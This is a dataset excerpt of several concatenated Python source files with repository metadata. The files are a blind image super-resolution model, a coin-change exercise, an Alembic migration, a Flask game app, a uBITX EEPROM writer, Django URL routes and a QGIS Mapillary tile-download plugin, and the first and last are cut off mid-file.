DIPs is sampled from N(z, I)\n reg_noise_std = self.opt[\"reg_noise_std\"]\n\n print(\"Warming up DIP\")\n\n for step in tqdm(range(self.opt[\"num_warmup_iters\"])):\n self.x_optimizer.zero_grad()\n dip_zx_rand = self.random_x + reg_noise_std * torch.randn_like(self.random_x).cuda()\n x = self.dip(dip_zx_rand)\n\n loss = self.mse(x, warmup_x)\n # print(loss)\n if loss.item() < 10:\n return\n loss.backward()\n self.x_optimizer.step()\n res = util.tensor2img(x.detach())\n cv2.imwrite('./after_warmup.png', res)\n\n def extract(self, hr, hr_blur):\n k, blur = self.netG(hr.cuda(), hr_blur.cuda())\n save_image(k, './test_k.png',nrow=1, normalize=True)\n return util.tensor2img(blur.detach())\n\n def SR_fak(self, lr, kernel, hr_blur):\n \"\"\"Enhance resolution\n Args:\n lr: Low-resolution image\n \"\"\"\n # lr = util.img2tensor(lr).unsqueeze(0).cuda()\n # hr = util.img2\n self.SR.eval()\n # print(lr.shape)\n size = [lr.shape[2]*self.opt[\"scale\"], lr.shape[3]*self.opt[\"scale\"]]\n\n print(\"Step Super-resolution\")\n\n self.prepare_DIP(size)\n self.reset_optimizers()\n\n self.warmup(hr_blur)\n \n # Input vector of DIPs is sampled from N(z, I)\n\n print(\"Deblurring\")\n reg_noise_std = self.opt[\"reg_noise_std\"]\n self.x_optimizer.param_groups[0]['lr'] = 5e-4\n for step in tqdm(range(self.opt[\"num_iters\"])):\n # print('Current LR: {}'.format(self.x_optimizer.param_groups[0]['lr']))\n dip_zx_rand = self.random_x + reg_noise_std * torch.randn_like(self.random_x).cuda()\n\n self.x_optimizer.zero_grad()\n # self.x_scheduler.step()\n # self.k_optimizer.zero_grad()\n # self.k_scheduler.step()\n\n hr_pred = self.dip(dip_zx_rand)\n \n # tmp = F.conv2d(hr_pred.permute(1,0,2,3), k_pred, padding=9).permute(1,0,2,3)\n tmp = F.conv2d(hr_pred.permute(1,0,2,3), kernel, padding=9).permute(1,0,2,3)\n\n if step%500 == 0:\n res = util.tensor2img(hr_pred.detach())\n cv2.imwrite('./test/{}.png'.format(step), res)\n res = util.tensor2img(tmp.detach())\n cv2.imwrite('./test/blur_{}.png'.format(step), res)\n # save_image(k_pred, './test/k_{}.png'.format(step),nrow=1, normalize=True)\n save_image(torch.reshape(kernel, (1,1, 19,19)), './test/k_{}.png'.format(step),nrow=1, normalize=True)\n\n\n # lr_pred = downsample(tmp)\n # tmp =util.quantize_dip(hr_pred)\n # print('lr_pred.max(): {}, {}'.format(lr_pred.max(), lr_pred.mean()))\n # print('hr_pred.max(): {}, {}'.format(tmp.max(), tmp.mean()))\n\n if step < self.opt[\"num_iters\"]//10:\n # total_loss = self.mse(tmp, hr_blur)\n total_loss = 1 - self.ssim_loss(tmp, hr_blur)\n # total_loss += 5e-5 * torch.norm(k_pred)\n # total_loss += 2e-2 * self.laplace_penalty(hr_pred)\n else:\n total_loss = self.mse(tmp, hr_blur)\n # total_loss += 5e-2 * self.laplace_penalty(hr_pred)\n # total_loss += 5e-4 * torch.norm(k_pred)\n\n total_loss.backward()\n\n self.x_optimizer.step()\n\n \n return util.tensor2img(hr_pred.detach())\n\n def SR_step(self, lr):\n \"\"\"Enhance resolution\n Args:\n lr: Low-resolution image\n \"\"\"\n # lr = util.img2tensor(lr).unsqueeze(0).cuda()\n # hr = util.img2\n self.SR.eval()\n # print(lr.shape)\n size = [lr.shape[2]*self.opt[\"scale\"], lr.shape[3]*self.opt[\"scale\"]]\n\n print(\"Step Super-resolution\")\n with torch.no_grad():\n hr_blur = self._overlap_crop_forward(lr, n_GPUs=1)\n img_blur = hr_blur.data[0].float().cpu()\n img_blur = util.Tensor2np([img_blur], 255)[0]\n cv2.imwrite('./hr_blur.png', cv2.cvtColor(img_blur, cv2.COLOR_BGR2RGB))\n\n self.prepare_DIP(size)\n self.reset_optimizers()\n\n self.warmup(hr_blur)\n \n # Input vector of DIPs is sampled from N(z, I)\n\n print(\"Deblurring\")\n reg_noise_std = self.opt[\"reg_noise_std\"]\n self.x_optimizer.param_groups[0]['lr'] = 5e-4\n for step in tqdm(range(self.opt[\"num_iters\"])):\n # print('Current LR: {}'.format(self.x_optimizer.param_groups[0]['lr']))\n dip_zx_rand = self.random_x + reg_noise_std * torch.randn_like(self.random_x).cuda()\n\n self.x_optimizer.zero_grad()\n # self.x_scheduler.step()\n self.k_optimizer.zero_grad()\n # self.k_scheduler.step()\n\n hr_pred = self.dip(dip_zx_rand)\n # print(hr_pred.max(), hr_pred.min(), hr_pred.mean())\n # with torch.no_grad():\n k_pred, blur_pred = self.netG(hr_pred, hr_blur)\n \n # tmp = F.conv2d(hr_pred.permute(1,0,2,3), k_pred, padding=9).permute(1,0,2,3)\n tmp = F.conv2d(hr_pred.permute(1,0,2,3), torch.reshape(k_pred, (1,1, 19,19)), padding=9).permute(1,0,2,3)\n\n if step%500 == 0:\n res = util.tensor2img(hr_pred.detach())\n cv2.imwrite('./test/{}.png'.format(step), res)\n res = util.tensor2img(tmp.detach())\n cv2.imwrite('./test/blur_{}.png'.format(step), res)\n # save_image(k_pred, './test/k_{}.png'.format(step),nrow=1, normalize=True)\n save_image(torch.reshape(k_pred, (1,1, 19,19)), './test/k_{}.png'.format(step),nrow=1, normalize=True)\n # print(k_pred.shape)\n # print(blur_pred.shape)\n\n # lr_pred = downsample(tmp)\n # tmp =util.quantize_dip(hr_pred)\n # print('lr_pred.max(): {}, {}'.format(lr_pred.max(), lr_pred.mean()))\n # print('hr_pred.max(): {}, {}'.format(tmp.max(), tmp.mean()))\n\n if step < self.opt[\"num_iters\"]//10:\n # total_loss = self.mse(tmp, hr_blur)\n total_loss = 1 - self.ssim_loss(tmp, hr_blur)\n # total_loss += 5e-5 * torch.norm(k_pred)\n # total_loss += 2e-2 * self.laplace_penalty(hr_pred)\n else:\n total_loss = self.mse(tmp, hr_blur)\n # total_loss += 5e-2 * self.laplace_penalty(hr_pred)\n # total_loss += 5e-4 * torch.norm(k_pred)\n\n total_loss.backward()\n\n self.x_optimizer.step()\n self.k_optimizer.step()\n\n # debugging\n # if step % 100 == 0:\n # print(torch.norm(k))\n # print(f\"{self.k_optimizer.param_groups[0]['lr']:.3e}\")\n \n # img_lr_pred = util.Tensor2np([lr_pred.squeeze().detach().cpu().float()], 255)[0]\n # cv2.imwrite('./lr_pred.png', img_lr_pred)\n # return util.Tensor2np([hr_pred.squeeze(0).detach().cpu().float()], 255)[0]\n return util.tensor2img(hr_pred.detach())\n\n def load(self):\n \"\"\"\n load or initialize network\n \"\"\"\n SR_path = self.opt['solver']['pretrainedSR_path']\n netG_path = self.opt['solver']['pretrainednetG_path']\n if SR_path is None: raise ValueError(\"[Error] The 'pretrainedSR_path' does not declarate in *.json\")\n if netG_path is None: raise ValueError(\"[Error] The 'pretrainednetG_path' does not declarate in *.json\")\n\n print('===> Loading SR module from [%s]...' % SR_path)\n \n checkpoint = torch.load(SR_path)\n # print(checkpoint)\n if 'state_dict' in checkpoint.keys(): \n print(\"YES\")\n checkpoint = checkpoint['state_dict']\n \n load_func = self.SR.load_state_dict\n load_func(checkpoint)\n\n print('===> Loading netG module from [%s]...' % netG_path)\n \n checkpoint = torch.load(netG_path)\n if 'state_dict' in checkpoint.keys(): checkpoint = checkpoint['state_dict']\n load_func = self.netG.load_state_dict\n load_func(checkpoint)\n\n def _overlap_crop_forward(self, x, shave=10, min_size=100000, bic=None, n_GPUs=4):\n \"\"\"\n chop for less memory consumption during test\n \"\"\"\n n_GPUs = n_GPUs\n scale = self.scale\n b, c, h, w = x.size()\n h_half, w_half = h // 2, w // 2\n h_size, w_size = h_half + shave, w_half + shave\n lr_list = [\n x[:, :, 0:h_size, 0:w_size],\n x[:, :, 0:h_size, (w - w_size):w],\n x[:, :, (h - h_size):h, 0:w_size],\n x[:, :, (h - h_size):h, (w - w_size):w]]\n\n if bic is not None:\n bic_h_size = h_size*scale\n bic_w_size = w_size*scale\n bic_h = h*scale\n bic_w = w*scale\n \n bic_list = [\n bic[:, :, 0:bic_h_size, 0:bic_w_size],\n bic[:, :, 0:bic_h_size, (bic_w - bic_w_size):bic_w],\n bic[:, :, (bic_h - bic_h_size):bic_h, 0:bic_w_size],\n bic[:, :, (bic_h - bic_h_size):bic_h, (bic_w - bic_w_size):bic_w]]\n\n if w_size * h_size < min_size:\n sr_list = []\n for i in range(0, 4, n_GPUs):\n lr_batch = torch.cat(lr_list[i:(i + n_GPUs)], dim=0)\n if bic is not None:\n bic_batch = torch.cat(bic_list[i:(i + n_GPUs)], dim=0)\n\n sr_batch_temp = self.SR(lr_batch)\n\n if isinstance(sr_batch_temp, list):\n sr_batch = sr_batch_temp[-1]\n else:\n sr_batch = sr_batch_temp\n\n sr_list.extend(sr_batch.chunk(n_GPUs, dim=0))\n else:\n sr_list = [\n self._overlap_crop_forward(patch, shave=shave, min_size=min_size) \\\n for patch in lr_list\n ]\n\n h, w = scale * h, scale * w\n h_half, w_half = scale * h_half, scale * w_half\n h_size, w_size = scale * h_size, scale * w_size\n shave *= scale\n\n output = x.new(b, c, h, w)\n output[:, :, 0:h_half, 0:w_half] \\\n = sr_list[0][:, :, 0:h_half, 0:w_half]\n output[:, :, 0:h_half, w_half:w] \\\n = sr_list[1][:, :, 0:h_half, (w_size - w + w_half):w_size]\n output[:, :, h_half:h, 0:w_half] \\\n = sr_list[2][:, :, (h_size - h + h_half):h_size, 0:w_half]\n output[:, :, h_half:h, w_half:w] \\\n = sr_list[3][:, :, (h_size - h + h_half):h_size, (w_size - w + w_half):w_size]\n\n return output","repo_name":"khanhnn00/blind-image-sr","sub_path":"models/sr/blind_sr.py","file_name":"blind_sr.py","file_ext":"py","file_size_in_byte":12383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31357380057","text":"# greedy algorithm\n\n# input\nchange = 1000 - int(input())\n\ncoin_list = [500, 100, 50 , 10, 5, 1]\ncoins = 0\n\nfor coin in coin_list:\n if change != 0:\n if change >= coin:\n coins += (change // coin)\n change %= coin\n else:\n continue\n else:\n break\n \nprint(coins)","repo_name":"myae3080/Algorithm-Study","sub_path":"Baekjoon/python/5585.py","file_name":"5585.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18543460150","text":"\"\"\"empty message\n\nRevision ID: fd9def0a6eab\nRevises: ffdc0a98111c\nCreate Date: 2022-07-06 16:28:26.788164\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'fd9def0a6eab'\ndown_revision = 'ffdc0a98111c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('firstname', sa.String(length=30), nullable=False))\n op.add_column('users', sa.Column('lastname', sa.String(length=30), nullable=False))\n op.add_column('users', sa.Column('image_url', sa.Text(), nullable=True))\n op.add_column('users', sa.Column('biography', sa.Text(), nullable=True))\n op.add_column('users', sa.Column('city', sa.String(length=30), nullable=False))\n op.add_column('users', sa.Column('state', sa.String(length=30), nullable=False))\n op.add_column('users', sa.Column('created_at', sa.DateTime(), nullable=True))\n op.add_column('users', sa.Column('updated_at', sa.DateTime(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'updated_at')\n op.drop_column('users', 'created_at')\n op.drop_column('users', 'state')\n op.drop_column('users', 'city')\n op.drop_column('users', 'biography')\n op.drop_column('users', 'image_url')\n op.drop_column('users', 'lastname')\n op.drop_column('users', 'firstname')\n # ### end Alembic commands ###\n","repo_name":"ShanFalk/BunsInYourArea","sub_path":"migrations/versions/20220706_162826_.py","file_name":"20220706_162826_.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"11769819405","text":"import logging\nfrom collections import defaultdict\nfrom flask import Flask, render_template, request, g, send_file, redirect, url_for\n\nfrom webapp.appfacade import AppFacade\n\napp = Flask('starship-arena', template_folder='.')\napp.logger.setLevel(logging.DEBUG)\n\n\ndef facade():\n _facade = getattr(g, '_facade', None)\n if not _facade:\n _facade = g._facade = AppFacade()\n return _facade\n\n\ndef cleanup_command_form(contents):\n return [line.strip() for line in contents.splitlines() if line != '']\n\n\n@app.route('/')\ndef overview():\n return render_template('./templates/index.html',\n games=facade().all_games())\n\n\n@app.route('/game_overview/')\ndef game_overview(game: str):\n factions = defaultdict(list)\n for s in facade().ships_for_game(game):\n factions[s.faction].append(s)\n\n return render_template('./templates/game-overview.html',\n factions=factions,\n round_nr=facade().current_round_of_game(game),\n game=game,\n command_file=facade().command_file_status_of_game(game),\n all_command_files_ok=facade().all_command_files_ok(game)\n )\n\n\n@app.route('/process_turn/')\ndef process_turn(game: str):\n facade().process_turn(game)\n return redirect(url_for('game_overview', game=game))\n\n\n@app.route('/ship_overview')\ndef ship_overview():\n return render_template('./templates/ship-overview.html',\n ship_types=facade().all_ship_types.values(),\n starbase_types=facade().all_starbase_types.values()\n )\n\n\n@app.route('/past_round///', methods=['GET', 'POST'])\ndef past_round(game: str, ship_name: str, round: int):\n ship = facade().get_ship(game, ship_name, round)\n return render_template('./templates/past-round.html',\n ship=ship,\n game=game,\n round=round,\n total_rounds=facade().current_round_of_game(game)\n )\n\n\n@app.route('/turn_picture///')\ndef turn_picture(game: str, ship_name:str, round: int):\n filename = facade().get_turn_picture_name(game, ship_name, round)\n return send_file(filename, mimetype='image/png')\n\n\n@app.route('/turn_pdf///')\ndef turn_pdf(game: str, ship_name:str, round: int):\n filename = facade().get_turn_pdf_name(game, ship_name, round)\n return send_file(filename, mimetype='application/pdf', as_attachment=False)\n\n\n@app.route('/manual_pdf')\ndef manual_pdf():\n filename = facade().get_manual_pdf()\n return send_file(filename, mimetype='application/pdf', as_attachment=False)\n\n\n@app.route('/plan_round//', methods=['GET', 'POST'])\ndef plan_round(game: str, ship_name: str):\n ship = facade().get_ship(game, ship_name)\n message = ''\n if request.method == 'POST':\n if request.form['action'] == 'Check':\n commands = facade().check_commands(cleanup_command_form(request.form['commands']), ship)\n elif request.form['action'] == 'Save':\n commands = facade().check_commands(cleanup_command_form(request.form['commands']), ship)\n if all([e[0] for e in commands]):\n facade().save_last_commands(game, ship_name, cleanup_command_form(request.form['commands']))\n message = 'Saved.'\n else:\n message = 'Still errors in file.'\n else:\n commands = [False, 'Wrong action']\n message = 'Wrong Action!'\n else:\n commands = facade().check_commands(facade().get_last_commands(game, ship_name), ship)\n\n return render_template('./templates/plan-round.html',\n game=game,\n ship=ship,\n commands=commands,\n message=message,\n total_rounds=facade().current_round_of_game(game)\n )\n\n","repo_name":"sbeaumont/starship-arena","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":4127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17618097299","text":"from django.conf.urls import url\n\nfrom . import views \n\n\napp_name = 'elite_schedule'\n\nurlpatterns = [\n url('matches/', views.MatchList.as_view(),name='MatchList'),\n url('english_premier_league', views.EnglishPremierLeagueMatchList.as_view(),name='EnglishPremierLeague'),\n url('english_conference', views.EnglishConferenceMatchList.as_view(),name='EnglishConference'),\n url('english_league_1', views.EnglishLeagueOneMatchList.as_view(),name='EnglishLeagueOne'),\n url('english_league_2', views.EnglishLeagueTwoMatchList.as_view(),name='EnglishLeagueTwo'),\n url('bundesliga_1', views.BundesligaLeagueOneMatchList.as_view(),name='BundesligaLeagueOne'),\n url('bundesliga_2', views.BundesligaLeagueTwoMatchList.as_view(),name='BundesligaLeagueTwo'),\n url('laliga_primiera', views.LaligaPrimieraMatchList.as_view(),name='LaligaPrimiera'),\n url('laliga_segunda', views.LaligaSegundaMatchList.as_view(),name='LaligaSegunda'),\n url('serie_a', views.Serie_A_MatchList.as_view(),name='SerieA'),\n url('serie_b', views.Serie_B_MatchList.as_view(),name='SerieB'),\n\n # url('match/', views.MatchDetail.as_view(),name='MatchDetail')\n\n]\n","repo_name":"pmutua/elite-schedule","sub_path":"elite_schedule/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"31181747109","text":"from bitarray import bitarray\nfrom time import sleep\nfrom printtolog import *\nfrom globalvars import *\n\n\ndef writeByteToEEPROM(portdesc: object, memAddress: int, outbyte: int):\n printlnToLog(get_time_stamp() + \": eeprom mem address =\" + str(memAddress))\n LSB: bytes = memAddress & 0xff\n MSB: bytes = (memAddress >> 8) & 0xff\n# print(type(LSB),\"\\t\", type(MSB),\"\\t\", type(outbyte))\n# print(memAddress)\n checkByte: int = ((LSB + MSB + outbyte) % 256) & 0xff\n bytesToWrite = bytes([LSB, MSB, outbyte, checkByte, WRITECOMMAND])\n portdesc.write(bytesToWrite)\n\n\ndef updateEEPROM(portdesc: object, inMemBuffer: bytearray, itsDirty: bitarray) -> int:\n printlnToLog(get_time_stamp() + \": following EEPROM locations (if any) were updated\")\n i: int = 0\n while i < EEPROMSIZE:\n if itsDirty[i]: # Got a dirty byte\n # print(f\"{i:04}\", \"\\t\", inMemBuffer[i],\"\\t\",type(inMemBuffer[i]))\n writeByteToEEPROM(portdesc, i, inMemBuffer[i])\n\n # doneWithByte: bool = False\n retryCnt: int = 0\n while True: # keep tring to write until successful or exceed # retries\n\n while portdesc.in_waiting == 0:\n sleep(0.005)\n resultCode = int.from_bytes(portdesc.read(1), \"little\", signed=False)\n while portdesc.in_waiting == 0:\n sleep(0.005)\n trailingByte = int.from_bytes(portdesc.read(1), \"little\", signed=False)\n if (resultCode == OK) & (trailingByte == ACK):\n# print(\"got an ack\")\n break\n else:\n printlnToLog(get_time_stamp() + \": retrying byte =\", i)\n printlnToLog(get_time_stamp() + \": resultcode=\", resultCode)\n printlnToLog(get_time_stamp() + \": trailingByte=\", trailingByte)\n retryCnt += 1\n if retryCnt > RETRIES:\n printToLog(\"Failed writing to EEPROM -- number of Retries exceeded\")\n tkinter.messagebox.showerror(title=\"ERROR\", message=\"Failed writing to EEPROM -- number of Retries exceeded\\nTry restarting uBITX, ensuring the USB cable plugged in securely, and then restart application. \\nEXITING\")\n sys.exit(-1)\n i += 1\n return (0) # Success","repo_name":"AJ6CU/uBITX-Settings-Editor","sub_path":"depreciated/uBITXapplymodfile/writeEEPROM.py","file_name":"writeEEPROM.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"} +{"seq_id":"4034756752","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n/***************************************************************************\r\n go2mapillary\r\n A QGIS plugin\r\n mapillary explorer\r\n -------------------\r\n begin : 2016-01-21\r\n git sha : $Format:%H$\r\n copyright : (C) 2016 by enrico ferreguti\r\n email : enricofer@gmail.com\r\n ***************************************************************************/\r\n\r\n/***************************************************************************\r\n * *\r\n * This program is free software; you can redistribute it and/or modify *\r\n * it under the terms of the GNU General Public License as published by *\r\n * the Free Software Foundation; either version 2 of the License, or *\r\n * (at your option) any later version. *\r\n * *\r\n ***************************************************************************/\r\n\"\"\"\r\nimport os\r\nimport sys\r\nfrom shapely.geometry import Polygon\r\nfrom go2mapillary.extlibs import mapbox_vector_tile\r\nimport requests\r\nimport math\r\nimport json\r\nimport datetime\r\nimport mercantile\r\nimport tempfile\r\n\r\nfrom qgis.PyQt.QtCore import QSettings, Qt\r\nfrom qgis.PyQt.QtWidgets import QProgressBar, QApplication, QAction\r\n\r\nfrom qgis.core import QgsPointXY, QgsCoordinateReferenceSystem, QgsCoordinateTransform, QgsVectorLayer, QgsProject, QgsExpressionContextUtils, Qgis, QgsMessageLog, QgsMapLayer\r\nfrom qgis.gui import QgsMessageBar\r\n\r\nSERVER_URL = r\"https://d25uarhxywzl1j.cloudfront.net/v0.1/{z}/{x}/{y}.mvt\"\r\n\r\nLAYER_LEVELS = ['overview', 'sequences', 'images']\r\n\r\nCACHE_EXPIRE_HOURS = 24\r\n\r\ndef deg2num(lat_deg, lon_deg, zoom):\r\n lat_rad = math.radians(lat_deg)\r\n n = 2.0 ** zoom\r\n xtile = int((lon_deg + 180.0) / 360.0 * n)\r\n ytile = int((1.0 - math.log(math.tan(lat_rad) + (1 / math.cos(lat_rad))) / math.pi) / 2.0 * n)\r\n return (xtile, ytile)\r\n\r\ndef num2deg(xtile, ytile, zoom):\r\n n = 2.0 ** zoom\r\n lon_deg = xtile / n * 360.0 - 180.0\r\n lat_rad = math.atan(math.sinh(math.pi * (1 - 2 * ytile / n)))\r\n lat_deg = math.degrees(lat_rad)\r\n return (lat_deg, lon_deg)\r\n\r\ndef ZoomForPixelSize(pixelSize):\r\n \"Maximal scaledown zoom of the pyramid closest to the pixelSize.\"\r\n for i in range(30):\r\n if pixelSize > (180 / 256.0 / 2**i):\r\n return i-1 if i!=0 else 0 # We don't want to scale up\r\n\r\n#get the range of tiles that intersect with the bounding box of the polygon\r\ndef getTileRange(bnds, zoom):\r\n xm=bnds[0]\r\n xmx=bnds[2]\r\n ym=bnds[1]\r\n ymx=bnds[3]\r\n bottomRight=(xmx,ym)\r\n starting=deg2num(ymx,xm, zoom)\r\n ending=deg2num(ym,xmx, zoom) # this will be the tiles containing the ending\r\n x_range=(starting[0],ending[0])\r\n y_range=(starting[1],ending[1])\r\n return(x_range,y_range)\r\n\r\n#to get the tile as a polygon object\r\ndef getTileASpolygon(z,y,x):\r\n nw=num2deg(x,y,z)\r\n se=num2deg(x+1, y+1, z)\r\n xm=nw[1]\r\n xmx=se[1]\r\n ym=se[0]\r\n ymx=nw[0]\r\n tile_bound=Polygon([(xm,ym),(xmx,ym),(xmx,ymx),(xm,ymx)])\r\n return tile_bound\r\n\r\n#to tell if the tile intersects with the given polygon\r\ndef doesTileIntersects(z, y, x, polygon):\r\n if(z<10): #Zoom tolerance; Below these zoom levels, only check if tile intersects with bounding box of polygon\r\n return True\r\n else:\r\n #get the four corners\r\n tile=getTileASpolygon(x,y,z)\r\n return polygon.intersects(tile)\r\n\r\n#convert the URL to get URL of Tile\r\ndef getURL(x,y,z,url):\r\n u=url.replace(\"{x}\", str(x))\r\n u=u.replace(\"{y}\", str(y))\r\n u=u.replace(\"{z}\", str(z))\r\n return u\r\n\r\ndef getProxiesConf():\r\n s = QSettings() # getting proxy from qgis options settings\r\n proxyEnabled = s.value(\"proxy/proxyEnabled\", \"\")\r\n proxyType = s.value(\"proxy/proxyType\", \"\")\r\n proxyHost = s.value(\"proxy/proxyHost\", \"\")\r\n proxyPort = s.value(\"proxy/proxyPort\", \"\")\r\n proxyUser = s.value(\"proxy/proxyUser\", \"\")\r\n proxyPassword = s.value(\"proxy/proxyPassword\", \"\")\r\n if proxyEnabled == \"true\" and proxyType == 'HttpProxy': # test if there are proxy settings\r\n proxyDict = {\r\n \"http\": \"http://%s:%s@%s:%s\" % (proxyUser, proxyPassword, proxyHost, proxyPort),\r\n \"https\": \"http://%s:%s@%s:%s\" % (proxyUser, proxyPassword, proxyHost, proxyPort)\r\n }\r\n return proxyDict\r\n else:\r\n return None\r\n\r\nclass progressBar:\r\n def __init__(self, parent, title = ''):\r\n '''\r\n progressBar class instatiation method. It creates a QgsMessageBar with provided msg and a working QProgressBar\r\n :param parent:\r\n :param msg: string\r\n '''\r\n self.iface = parent.iface\r\n self.title = title\r\n\r\n def start(self,max=0, msg = ''):\r\n self.widget = self.iface.messageBar().createMessage(self.title,msg)\r\n self.progressBar = QProgressBar()\r\n self.progressBar.setRange(0,max)\r\n self.progressBar.setValue(0)\r\n self.progressBar.setAlignment(Qt.AlignLeft | Qt.AlignVCenter)\r\n self.widget.layout().addWidget(self.progressBar)\r\n QApplication.processEvents()\r\n self.iface.messageBar().pushWidget(self.widget, Qgis.Info, 50)\r\n QApplication.processEvents()\r\n\r\n def setProgress(self,value):\r\n try:\r\n self.progressBar.setValue(value)\r\n QApplication.processEvents()\r\n except:\r\n pass\r\n\r\n def setMsg(self,msg):\r\n self.widget.setText(msg)\r\n QApplication.processEvents()\r\n\r\n def stop(self, msg = ''):\r\n '''\r\n the progressbar is stopped with a succes message\r\n :param msg: string\r\n :return:\r\n '''\r\n self.iface.messageBar().clearWidgets()\r\n message = self.iface.messageBar().createMessage(self.title,msg)\r\n self.iface.messageBar().pushWidget(message, Qgis.Info, 2)\r\n\r\nclass mapillary_coverage:\r\n\r\n expire_time = datetime.timedelta(hours=CACHE_EXPIRE_HOURS)\r\n\r\n def __init__(self,module):\r\n self.module = module\r\n self.iface = module.iface\r\n self.cache_dir = os.path.join(tempfile.gettempdir(),'go2mapillary')\r\n QgsMessageLog.logMessage(\"CACHE_DIR\"+self.cache_dir, tag=\"go2mapillary\",level=Qgis.Info)\r\n if not os.path.exists(self.cache_dir):\r\n os.makedirs(self.cache_dir)\r\n self.setDefaultLayers()\r\n self.actual_ranges = None\r\n\r\n def setDefaultLayers(self):\r\n defaultContent = '{\"type\": \"FeatureCollection\", \"features\": []}'\r\n for ld in LAYER_LEVELS:\r\n with open(os.path.join(self.cache_dir, 'mapillary_%s.geojson' % ld), 'w') as f:\r\n f.write(defaultContent)\r\n defLyr = QgsVectorLayer(os.path.join(self.cache_dir, 'mapillary_%s.geojson' % ld),\"Mapillary \"+ld, \"ogr\")\r\n defLyr.setCrs(QgsCoordinateReferenceSystem(4326))\r\n setattr(self, ld+'Layer', defLyr)\r\n\r\n def transformToWGS84(self, pPoint):\r\n # transformation from the current SRS to WGS84\r\n crcMappaCorrente = self.iface.mapCanvas().mapSettings().destinationCrs() # get current crs\r\n crsSrc = crcMappaCorrente\r\n crsDest = QgsCoordinateReferenceSystem(4326) # WGS 84\r\n xform = QgsCoordinateTransform(crsSrc, crsDest, QgsProject.instance())\r\n return xform.transform(pPoint) # forward transformation: src -> dest\r\n\r\n def download_tiles(self, force=None):\r\n #calculate zoom_level con current canvas extents\r\n ex = self.iface.mapCanvas().extent()\r\n wgs84_minimum = self.transformToWGS84(QgsPointXY (ex.xMinimum(),ex.yMinimum()))\r\n wgs84_maximum = self.transformToWGS84(QgsPointXY (ex.xMaximum(),ex.yMaximum()))\r\n bounds =(wgs84_minimum.x(),wgs84_minimum.y(),wgs84_maximum.x(),wgs84_maximum.y())\r\n map_units_per_pixel = (wgs84_maximum.x() - wgs84_minimum.x())/self.iface.mapCanvas().width()\r\n zoom_level = ZoomForPixelSize(map_units_per_pixel)\r\n if zoom_level > 14:\r\n zoom_level = 14\r\n\r\n try:\r\n ranges = getTileRange(bounds, zoom_level)\r\n except ValueError:\r\n return\r\n\r\n if force or not self.actual_ranges or not (\r\n ranges[0][0]==self.actual_ranges[0][0] and\r\n ranges[0][1]==self.actual_ranges[0][1] and\r\n ranges[1][0]==self.actual_ranges[1][0] and\r\n ranges[1][1]==self.actual_ranges[1][1]):\r\n #print (\"ZOOM_LEVEL\", zoom_level, \"NEW RANGES\", ranges, \"LAST RANGES\", self.actual_ranges)\r\n self.actual_ranges = ranges\r\n x_range = ranges[0]\r\n y_range = ranges[1]\r\n\r\n overview_features = []\r\n sequences_features = []\r\n images_features = []\r\n\r\n progress = progressBar(self, 'go2mapillary')\r\n\r\n start_time = datetime.datetime.now()\r\n\r\n for y in range(y_range[0], y_range[1] + 1):\r\n for x in range(x_range[0], x_range[1] + 1):\r\n folderPath = os.path.join(self.cache_dir, str(zoom_level), str(x))\r\n filePathMvt = os.path.join(folderPath, str(y) + '.mvt')\r\n #filePathJson = os.path.join(folderPath, str(y) + '.json')\r\n if not os.path.exists(folderPath):\r\n os.makedirs(folderPath)\r\n res = None\r\n\r\n\r\n if not os.path.exists(filePathMvt) or (datetime.datetime.fromtimestamp(os.path.getmtime(filePathMvt)) < (datetime.datetime.now() - self.expire_time) ):\r\n # make the URL\r\n url = getURL(x, y, zoom_level, SERVER_URL)\r\n with open(filePathMvt, 'wb') as f:\r\n response = requests.get(url, proxies=getProxiesConf(), stream=True)\r\n total_length = response.headers.get('content-length')\r\n\r\n if total_length is None: # no content length header\r\n f.write(response.content)\r\n else:\r\n dl = 0\r\n total_length = int(total_length)\r\n progress.start(total_length,'caching vector tile [%d,%d,%d]' % (x, y, zoom_level))\r\n QgsMessageLog.logMessage(\"MISS [%d,%d,%d]\" % (x, y, zoom_level), tag=\"go2mapillary\",\r\n level=Qgis.Info)\r\n for data in response.iter_content(chunk_size=4096):\r\n dl += len(data)\r\n f.write(data)\r\n progress.setProgress(dl)\r\n\r\n\r\n if os.path.exists(filePathMvt):\r\n progress.start(0, 'loading vector tile [%d,%d,%d]' % (x, y, zoom_level))\r\n if not res:\r\n with open(filePathMvt, \"rb\") as f:\r\n mvt = f.read()\r\n QgsMessageLog.logMessage(\"CACHE [%d,%d,%d]\" % (x, y, zoom_level), tag=\"go2mapillary\",\r\n level=Qgis.Info)\r\n else:\r\n mvt = res.content\r\n\r\n bounds = mercantile.bounds(x,y,zoom_level)\r\n tile_box = (bounds.west,bounds.south,bounds.east,bounds.north)\r\n json_data = mapbox_vector_tile.decode(mvt, quantize_bounds=tile_box)\r\n if \"mapillary-sequence-overview\" in json_data:\r\n overview_features = overview_features + json_data[\"mapillary-sequence-overview\"][\"features\"]\r\n elif \"mapillary-sequences\" in json_data:\r\n sequences_features = sequences_features + json_data[\"mapillary-sequences\"][\"features\"]\r\n if \"mapillary-images\" in json_data and zoom_level==14:\r\n images_features = images_features + json_data[\"mapillary-images\"][\"features\"]\r\n\r\n # print(\"loading time\", datetime.datetime.now() - start_time)\r\n progress.stop('loading 